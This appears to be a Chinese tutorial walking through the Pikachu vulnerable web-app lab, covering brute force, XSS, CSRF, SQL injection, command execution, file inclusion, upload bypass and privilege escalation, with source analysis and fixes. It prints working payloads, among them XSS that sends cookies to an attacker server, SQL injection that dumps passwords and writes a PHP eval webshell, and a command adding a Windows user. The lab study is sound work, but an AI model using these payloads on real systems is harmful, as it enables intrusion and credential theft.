/pikachu

pikachu漏洞练习平台教程

typora-copy-images-to typora-root-url
图片
./

一、暴力破解

Burte Force(暴力破解)概述

​ “暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。

​ 理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。这里的认证安全策略, 包括:

​ 1.是否要求用户设置复杂的密码; ​ 2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp; ​ 3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等); ​ 4.是否采用了双因素认证; ​ ...等等。

1、基于表单的暴力破解

a、提交数据

1568213840918

b、抓包进行爆破

1568215095203

1568215114930

c、看响应数据包长度

1568215188316

d、爆出密码为123456

1568215234863

2、验证码绕过(on server)

a、有些认证码机制造成浏览器提交数据后页面没刷新验证码就还在有效期中可以重复使用,使用bursuite拦截发送到repeater,多次发送请求相同的验证码果然可以重复使用。

1568618135365

b、使用发送到intruder添加paload进行爆破

1568618273695

1568618313203

3、爆破成功

1568618412054

3、验证码绕过(on client)

前端绕过是最不可靠的,使用bursuit抓包可以随意修改请求数据,绕过前端限制。

a、直接抓包,有了这个请求包后,验证码是可以不需要的

1568618656858

b、扔到intruder爆破:

1568619024697

1568619012983

c、爆出账户密码

1568619093940

4、token防爆破?

每次请求后token都是会改变的,这是否就意味着不可爆破?实际上我们是可以获取token的,把token加进paload进行密码爆破。

a、首先抓包扔到intruder,配置positions

1568624869473

b、点击Options,设置线程为1

1568625168055

添加Grep-Extract

1568625201767

指定token并复制下来,点击ok保存

1568625270482

1568625405872

redirections设置为always

1568625419009

c、接下来设置payloads

1568625531546

payload2为token,b把之前复制的token填入initial payload里面

1568625574535

d、开始爆破,爆破成功

1568625717579

二、Cross-Site Scripting

​ Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型: ​ 1.反射性XSS; ​ 2.存储型XSS; ​ 3.DOM型XSS; ​ XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。 ​ 因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理: ​ 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入; ​ 输出转义:根据输出点的位置对输出到前端的内容进行适当转义。 ​ 对于过滤,我们会通过各种方法去绕过:

​ 前端过滤绕过:抓包拦截改包

​ 大小写绕过:alert(/xss/)

​ 双写绕过:<scr<script>ipt>alert(/xss/)</s</script>cript>

​ 注释干扰:<script>alert(/xss/)</script>

​ 编码绕过:依据前端编码解码机制

1、反射型xss(get)

1)漏洞验证:

页面只有一个输入框并设置了长度限制,随便输入一个字符,并在页面上返回字符,在message参数直接提交payload:<script>alert(1)</script>。

1568704670690

其他一些有趣的payload:

<a href="" onclick=alert("xss")>type <img src='' onerror=alert("xss")>

<script>window.location='http://1.1.1.1'document.location.href="http://www.evil.com"</script> <iframe src="http://1.1.1.1/victim" height = "0" width = "0"></iframe> new.Image.src="192.168.1.104/c.php?output="+document.cookie</script> <script>document.body.innerHTML="

THIS WEBSITE IS UNDER ATTACK

"</script> ### 2)漏洞利用

a、窃取cookie

首先你得有个服务器,在服务器根目录下新建一个a.js脚本:

var img = new Image() img.src = "http://你的服务器ip/cookies.php?cookie="+document.cookie;

然后通过xss诱导受害者访问你这个a.js,paload为<script src="http://你的ip/a.js"></script>,如果被访问到,你就可以在服务日志获取到受害者的cookie。

1569133272540

1569133321734

3)代码分析

服务器获取用户通过get提交过来的message,没有过滤就通过字符串拼接赋值给html,并且没有做任何编码处理就打印出来。

1568717795251

1568717963826

4)代码修复

使用htmlspecialchars将特殊字符转换成html实体:

1569134982192

修复后再攻击发现无法实现弹框,并且paload被编码成html实体

1569135036924

1569135164026

2、反射型xss(post)

这里的反射型xss(post)跟get的都是一样的,只是请求方式不一样,所以也不废话那么多。

1)漏洞验证

这里要先登录

1569136278832

然后输入paloads,验证成功

1569136374273

3、存储型xss

​ 攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。因为存储型XSS的代码存在于网页的代码中,可以说是永久型的。它一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

1)漏洞验证

直接在留言板上提交恶意代码发现,访问页面直接执行了恶意代码

1569154820234

2)代码分析

不做任何过滤直接写入数据库

1569225158281

不做实体编码直接输出到前端页面上

1569225377407

3)代码修复

1569225629901

4、DOM型xss

DOM xss是基于dom文件对象模型的,前端脚本通过dom动态修改页面,由于不予服务端运行交互,而且代码是可见的,从前端获取dom中的数据在本地执行。常见的可以操作的dom对象有:url、location、referrer等。dom型的xss比较特殊,是一种基于dom树的xss,服务器端经常使用document.body.innertHtml等动态函数生成HTML页面,如果这些函数在引用某些变量时没有进行过滤检查,就会产生dom型的xss。dom型的xss可能是存储型的也可能是反射性的。

1)漏洞验证

碰到一个输入框一般情况下,我会直接输入几个字符,然后查看源代码,查看出现在哪个地方

1569228526687

1569228544012

并没有发现输入的字符串,然后就考虑dom型的xss,提交输入的内容后有个what do you see,然后在源代码发现了这个1569228933416

输入的内容嵌入到a标签里面,我们闭合掉引号形成paload。

1569229377388

1569229105926

2)代码分析

DOM型的xss恶意代码没有经过服务器器,是直接经过js处理的。

1569291505129

3)代码修复

xss修复一般想到的是转义,转义一般比过滤更加可靠,在php中有现成的htmlspecialchars函数对字符串进行转义,而js似乎没有有现成的函数进行转义,尝试使用正则表达式编写一个转义函数实现转义。

1569293570398

5、DOM型xss-x

打开页面查看源代码,操作基本跟上节差不多

1569294676460

先输入paload:' onclick="alert(1)",点击[有些费尽心机想要忘记的事情,后来真的就忘掉了],再点击[就让往事都随风,都随风吧]

1569294731611

6、xss之盲打

如何称之盲打,是因为你无法在攻击页面确认是否攻击成功,从这页面中看是提交看法建议的页面,提交的数据很可能会在后台显示。

1569295586317

1569295634384

1)代码分析

不做任何过滤

1569295747591

不做任何转义的输出

1569295952713

7、xss之过滤

1)漏洞验证

正常输入<script>alert(1)</script>发现被过滤掉了,只剩一个'>',难道其他字符全被过滤掉了?尝试单输入<,发现又没有被吃掉,猜想过滤的不是特定字符,而是某些符合规则的字符串组合。尝试大小写绕过,<Script>alert(1)</Script>,发现攻击成功,后来我发下这个 也是可以绕过的,这个过滤是搞笑的吧,看下源码。

1569296673960

2)源码分析

发现是一个简单的正则过滤,怪不得直接可以 绕过。

1569296855976

8、xss之htmlspecialchars

之前以为转义是很安全的,现在发现转义后不一定会完全不存在xss漏洞,比如单引号没有被转义,在一定情况下是会存在xss漏洞的。

1)漏洞验证

这里使用单引号即可绕过转义:' onclick='alert(1)'

1569304906691

2)代码分析

这里html转义后字符串结合a标签输出到html页面上,这时利用单引号没有被转义实现攻击。加上ENT_QUOTES参数可以对单引号进行转义,htmlspecialchars($_GET['message'],ENT_QUOTES)

1569305212126

9、xss之href输出

1)漏洞验证

打开页面尝试攻击,发现特殊字符全部被转义,包括单引号,估计使用了htmlspecialchars($_GET['message'],ENT_QUOTES)。但看源代码发现输入内容被输出到a标签的herf属性中。意味着可以尝试伪协议绕过javascript:alert(1)。

1569306640860

2)代码分析

虽然做了彻底的转义,但输出在a标签的herf中,没有做协议的过滤。

1569306728168

3)代码修复

设置href只允许http,https协议。

1569307505399

10、xss之js输出

1)漏洞验证

打开页面输入数据,查看源代码,发现在js里面出现,然后构造正确的语法就可以实现攻击了,paload: ';alert(1);$a='

1569307889422

2)代码分析

php获取message并赋值给jsvar,然后输出到页面的js中

1569308314825

1569308028645

3)代码修复

这里讲输入动态的生成到了js中,形成xss,javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义,这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。所以在JS的输出点应该使用\对特殊字符进行转义。

11、总结

对于xss的防范总的来说从两个方面来考虑,输入进行过滤和输出进行转义。

在这里只是介绍各种情况的xss和修复,并没有介绍很深各种过waf姿势,只有8和9有点意思,在之后完成这个教程会单独把xss拿出来研究各种绕过。

三、CSRF

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如: --对敏感信息的操作增加安全的token; --对敏感信息的操作增加安全的验证码; --对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

1、CSRF(get)

1)漏洞验证

首先使用用户登录,修改个人信息,提交抓包发现,是以get方式提交的并且与提交的数据一样,这个操作很可能没有做任何保护。

1569326032807

1569326124173

burpsuit里面有一个csrf的利用模块,右击要利用的链接选择CSRF Poc,就会生成一个利用的页面,把这个页面的的链接发给其他用户,如果其他用户在浏览器的cookie还有效的话就会执行这个操作。

1569326500749

1569326544860

我们登陆个用户,查看信息

1569326687763

访问http://127.0.0.1:8080/show/72/o88nuxcojwghvotyhikk7nlzd7lql66l这个poc页面

点击提交:

1569326830941

发现kobe的信息被改。

1569326782564

2、CSRF(post)

post型的操作跟get的也差不多,废话就不多说了

3、CSRF Token

同样的操作发现无法修改,原因是提交的数据带有token.

1569327494379

点击修改个人信息按钮后,服务器会返回一个个人信息的表单页面。表单会嵌入一个隐藏的<input />标签,标签的value属性值为服务器端生成并存储在Session中的token,表单数据被提交时,token也会被提交到服务器。当填好个人信息的表单,点击提交后,服务器不仅检查信息是否有空值,还会将表单提交过来的token值也Session中的token值作对比,对比不通过不会执行个人信息修改操作。

1569327619214

1569327671543

4、总结

scrf防御思路:

1)验证码:对某些重要的操作,使用验证码验证,验证码一方面避免了身份认证信息在不知情的情况下被使用(因为与服务器有交互),另一方面攻击者在不知道验证码参数的值也无法完成攻击。缺点是用户体验有点差。

2)Referer Check:在HTTP请求消息头中有一个Referer头部,该头部的值记录着是从哪个页面(URL)跳转过来的。检查Referer也起到一定的作用,缺点是服务器不是任何时候都能获取的Referer的值,有时候出于安全考虑,限制了Referer的发送。

3)Token:Token是一串足够长且复杂的随机数,Token防御CSRF的本质就是让请求参数不可被预测,不能被预测也就意味着攻击者不能构造出恶意数据包请求。

四、Sql Inject(SQL注入)

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞: 1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入; 2.使用参数化(Parameterized Query 或 Parameterized Statement); 3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

1、数字型注入

抓包发现是post请求

1569380321684

把post提交的数据复制出来,使用hackbar发送数据:

1569380818778

给参数1加个单引号,报错说明此处存在注入,接下来输入id=1 and 1=1返回正确,id=1 and 1=2返回user id不存在,说明这是一个数字型注入。

1569381193053

使用order by判断列数,id=1 order by 2访问正常,id=1 order by 3报错,说明列数为2,接下来使用联合查询,id=1 union select 1,2爆出数据的位置,接下来可以做各种数据库的查询。

1569382000133

查询操作系统版本、mysql安装路径、mysql版本、当前数据库用户、数据库路径、当前数据库名、能否导出文件:

id=1 union select 1,concat_ws(',',@@version_compile_os,@@basedir,version(),user(),@@datadir,database(),@@secure_file_priv)

mysql中自带一个information_schema,记录着所有数据库的信息。

查询所有数据库:

id=1 union select 1,(select group_concat(schema_name) from information_schema.schemata)

查询pikachu数据库的表

id=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')

查询users表里面的字段

id=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu')

查询username和password的记录:

id=1 union select 1,(select group_concat(username,':',password) from pikachu.users)

拿到用户名密码。

2、字符型注入

打开页面,输入数据:参数name=1'报错,name=1' and '1'='1正常,name=1' and 1=1报错,从而证明这是一个字符型注入。

字符型跟整形的区别不大,只要注意引号的闭合就好了,注入方式跟上面一样。

name=1' union select 1,concat_ws(',',@@version_compile_os,@@basedir,version(),user(),@@datadir,database(),@@secure_file_priv)--

1569408183114

由于上面的已经讲了如何进行利用infomation_schema,这里就不重复了,我们发现以上查询中secure_file_priv为空值,那我们就来探究一下这个mysql文件读写问题吧。

1)secure_file_priv

secure_file_priv是控制mysql是否有读写的权限,它的值有三种:

​ a、secure_file_priv为null 表示不允许导入导出

​ b、secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹

​ c、secure_file_priv没有设置时,则表示没有任何限制

在mysql.ini文件里面可以修改。

2)load_file()、load data infile、into outfile

load_file():导出文件

load data infile :文件导入到数据库

into outfile:导入到文件

只有secure_file_priv为空值是这三个函数才有权限操作。

3)读取文件

name=1' union select 1,(load_file("D:/1.txt"))--

1569465838334

1569465817909

4)写入木马

name=1' union select 1, into outfile "D:/1.php"--%20

这里的一定要编码,不然语句一定会报错,因为里面有顿号,mysql就会认为到顿号就是一个完整的语句。所以最后的payload为:

name=1' union select 1,CHAR(60, 63, 112, 104, 112, 32, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 112, 97, 115, 115, 39, 93, 41, 59, 63, 62) into outfile "../../WWW/1.php"-- 。我这里使用的是phpstudy搭建的环境,所以使用对目录结构,所以使用相对路径上传,并猜测位置使用菜刀连接。

不过不知道为什么前面会出现一连串的1。

1569468926529

1569469902692

1569469954140

连接成功。

3、搜索型注入

看到搜索型注入,搜索语句一般都是模糊搜索,其语法结构一般是这样子的 :select * from xx where name like '%$name%'。所以在注入的时候注意闭合%‘即可。

输入单引号报错,判断存在注入,而且提示实在%附近,没有闭合1569476998966

输入name=1%'-- ,数据返回正常,结果与name=1一致,说明payload已经拼接了;

name=1%' order by 3 -- 正常 name=1%' order by 4 -- 报错,说明列数为3。接下来不多说,攻击方法跟之前的一样。

4、xx型注入

直接上单引号

1569828201205

上单引号加并注释掉后面的内容发现

1569828309324

说明单单使用单引号的闭合不了语句,还有其他符号,我们发现第一个提示中有个括号,很大可能这个闭合与括号有关

使用:1')-- ,发现成功

1569828471538

5、"insert/update/delete"注入

​ 之前的注入都是基于select查询语句来注射的,这里将介绍一个基于insert/update/delete语句的注射。

1)注释语法

​ 这里使用显错模式 ,思路是在语句中构造语法错误,利用语句是如下

insert into users (id, username, password) values (2,''inject here'','Olivia');
insert into users (id, username, password) values (2,""inject here"",'Olivia');

2)updatexml()获取数据

updatexml()函数是mysql对xml文档数据进行查询和修改的XPATH函数。

payload: or updatexml(1,concat(0x7e,(version())),0) or

a 、insert:

闭合引号

' or updatexml(1,concat(0x7e,(version())),0) or '

1570520897542

1570520845180

b、update:

payload 和insert的一样都是' or updatexml(1,concat(0x7e,(version())),0) or '

1570521128900

c、delete:

id=13964 or updatexml(1,concat(0x7e,(version())),0) or ‘’

1570520664551

这三个操作基本一样接下来只展示update获取数据

获取当前数据库的所有表名:

or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) or

获取当前数据库users表的所有列名:

or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),0) or

获取users表的username,password列的数据

or updatexml(1,concat(0x7e,(select group_concat(username,' : ',password) from pikachu.users )),0) or

3)extractvalue()获取数据

payload:

or extractvalue(1,concat(0x7e,database())) or

4)name_const()获取数据

Payload:

or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or

5)利用子查询注入

payload

or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or

6)更多闭合变种

' or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
'* (payload) *'
' or (payload) and '
" – (payload) – "

7)引用

http://www.vuln.cn/6772

6、http头注入

1)常见的http头部注入参数

User-Agent:识别客户使用的操作系统,游览器版本等

Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据

X-Forwarded-For:HTTP的请求端真实的IP

Client-IP:同上

Host:客户端访问的web服务器域名/ip地址和端口号

。。。。。。

2)insert型注入http头

由于这里的sql语句如下是insert型http头部注入

$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);

所以使用工具hackerbar对user-agent注入

payload:1' or updatexml(1,concat(0x7e,(version())),0) or'

1570601568107

7、基于boolean的盲注

盲注:在某些情况下后台对报错信息进行屏蔽,此时无法再根据信息来判断注入,这种情况下的注入称为盲注,盲注又分为基于布尔型盲注和基于时间的盲注。

基于boolean的盲注主要表现症状: ①没有报错信息 ②不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是1或者0) ③在正确的输入下,输入and 1=1/and 1=2可以发现判断

接下来打开靶机,发现熟悉的输入框,输入单引号显示username不存在,输入其他字符同样提示不存在

1570605131579

这里面是有点奇葩的,只有输入存在的用户名才会显示一下信息。其中一个存在的用户名是kobe,所以接下来的注入得依赖这个用户名。

1570605599135

接下来我输入kobe'-- 显示username不存在

输入kobe' and 1=1-- 显示了用户id和email

输入kobe' and 1=2-- 显示username不存在

到这里我们就可以判断存在盲注了。

其实,在这里我思考可不可以不依赖存在的用户,我考虑使用异或 false xor true 为true来绕过,

比如: a' xor 1=1-- ,不存在用户a所以为假,1=1为真,假异或真为真。结果是自己的痴心妄想hh,然后好奇看了源码发现还有一个判断。

1570615391934

1)猜库名

库名长度:kobe' and length(database())>1--

我们可以使用burpsuit半自动化工具去跑,长度结果为7

1570612179146

1570612293430

1570611873375

猜库名,kobe'and (ascii(substr(database(),1,1))>112)-- 得出ascci码为:112,105,107,97,99,104,117转化为字符串pikachu

1570612563864

2)猜表名

kobe'and (ascii(substr(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1,1))>1)--

1570619744910

得到

126 104 116 116 112 105 110 102 111 ...............

~httpinfo,member,message,users,x

3)猜列名

kobe'and (ascii(substr(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),1,1))>1)--

4)猜记录

kobe'and (ascii(substr(concat(0x7e,(select group_concat(username,' : ',password) from pikachu.users )),1,1))>1)--

盲注手工操作真的是繁琐,要崩溃了qaq。

8、基于时间的盲注

9、宽字节注入

PHP在开启magic_quotes_gpc或者使用addslashes、iconv等函数的时候,单引号(')会被转义成'。比如字 符%bf在满足上述条件的情况下会变成%bf'。其中反斜杠(\)的十六进制编码是%5C,单引号(')的十六进制编码是%27,那么就可以得出%bf '=%bf%5c%27。如果程序的默认字符集是GBK等宽字节字符集,则MySQL会认为%bf%5c是一个宽字符,也就是“縗”。也就是说%bf '=%bf%5c%27=縗'。

五、RCE

RCE(remote command/code execute)概述

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器,现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-

远程代码执行 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

1、exec "ping"

在命令执行漏洞中我们可以尝试&、&&、|、||、;等符号拼接执行命令。

输入127.0.0.1|ipconfig

1570676476964

输入127.0.0.1 | net user hack 123 /add,可添加用户。

源码中直接拼接语句

1570676899733

2、exec "eval"

输入phpinfo();

1570676621703

源码中eval()处理字符串里面的表达式

if(isset($_POST['submit']) && $_POST['txt'] != null){

if(@!eval($_POST['txt'])){

$html.="<p>你喜欢的字符还挺奇怪的!</p>";

六、File Inclusion

File Inclusion(文件包含漏洞)概述

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。比如 在PHP中,提供了:

include(),include_once() require(),require_once() 这些文件包含函数,这些函数在代码设计中被经常使用到。 大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况: **1.本地文件包含漏洞:**仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。 **2.远程文件包含漏洞:**能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。

因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

1、本地文件包含

首先随意提交一个下拉菜单的选项,观察url,发现包含一个文件名,很可能存在一个文件包含漏洞。

1570678070307

在根目录下新建一个的1.php文件。

输入../../../../../../../.././1.php提交发现文件被执行。

1570678436215

常见的敏感信息路径:

Windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

2、远程文件包含

PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

allow_url_fopen = On:是否允许打开远程文件

allow_url_include = On:是否允许include/require远程文件

?filename=http://www.baidu.com&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

1570679816067

七、unsafe filedownload

文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。 所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!

设置抓包点击名字的下载链接,

1570689300428

修改文件名为../../../../../../../1.php

1570689429124

1570689491571

下载成功。

八、unsafe upfileupload

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如: --验证文件类型、后缀名、大小; --验证文件的上传方式; --对文件进行一定复杂的重命名; --不要暴露文件上传后的路径; --等等...

1、客户端check

1570693595585

这里的上传是通过前端判断文件后缀名来区别是否为图片。

上传前把木马文件后缀名改为jpg格式,上传拦截抓包,然后修改文件后缀名发送

1570690681606

1570690791710

接下来可以使用菜刀连接了。

1570699659889

2、服务端check

MIME type检测是检测Content-type,上传1.php,抓包,将Content-type的内容改为image/jpeg。上传成功,返回路径。

1570702641129

从代码这里这看只对mime类型做了判断。

1570776196735

3、getimagesize()

尝试之前的方式上传,结果都失败了,这里在服务端做了如下操作认证后缀名、认证mine、通过getimagesize来读取图片的属性,修改文件名。

1570871226096

怎么绕过呢?可以使用图片码绕过。

制作图片马上传

1570703871101

1570871370934

可以看到保存的格式是png文件,服务器是不可以解析的,无法利用。我们别忘记了这个网站还存在一个文件包含的漏洞,可以利用这个漏洞去执行我们的代码。怎么做呢?

我们找到本地文件包含页面构造url执行我们的图片

?filename=../../unsafeupload/uploads/2019/10/12/6786985da1983f7658b363019180.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

用菜刀连接这个连接即可拿到webshell

八、over permission

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

因此,在在权限管理中应该遵守: 1.使用最小权限原则对用户进行赋权; 2.使用合理(严格)的权限校验规则; 3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件。

1、水平越权

平台给出了三个用户尝试登陆lucy这个用户,

1570872157079

登陆后查看详细信息,发现url中有一个username,我们猜想修改这个参数会有什么效果,按理说这里登陆的是lucy,只能访问lucy的信息,无法访问其他人的信息。

1570872308680

但是,修改为lili后是可以访问lili信息的,说明存在水平越权。

1570872584313

2、垂直越权

登录管理员账号,添加用户,并把这个操作抓包下来。

1571036779580

1571036803110

接下来使用普通用户登录。

得到普通用户的cookie,并替换以上的数据包中管理员的cookie和post的数据并发送,查看用户列表添加了用户c。

1571037235276

1571037165289

造成这种情况是因为这个操作页面只验证了,没有认证级别造成越权。

看下源代码

没有认证级别的:

if(!check_op2_login($link)){

header("location:op2_login.php");

exit();

}

认证了级别的:

if(!check_op2_login($link) || $_SESSION['op2']['level']!=1){

header("location:op2_login.php");

exit();

}

九、目录遍历

​ 在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。 ​ 看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。 需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。而并不归为目录遍历漏洞。(关于敏感信息泄露你你可以在"i can see you ABC"中了解更多)

1、根目录有一个1.php的文件,尝试去遍历它。

1571038399634

2、直接访问发现访问到了这个文件,发现目录遍历是可以解析php文件的。1571038438540

3、根据木马脚本中是post请求的,构造如下发现成功执行。

1571038526931

4、代码的require方法

1571038733813

十、敏感信息泄露

由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如: ---通过访问url下的目录,可以直接列出目录下的文件列表; ---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息; ---前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等; 类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。

1、暴露目录文件列表

1571039063697

2、修复

在网站根目录的.htaccess文件中添加

<Files *>
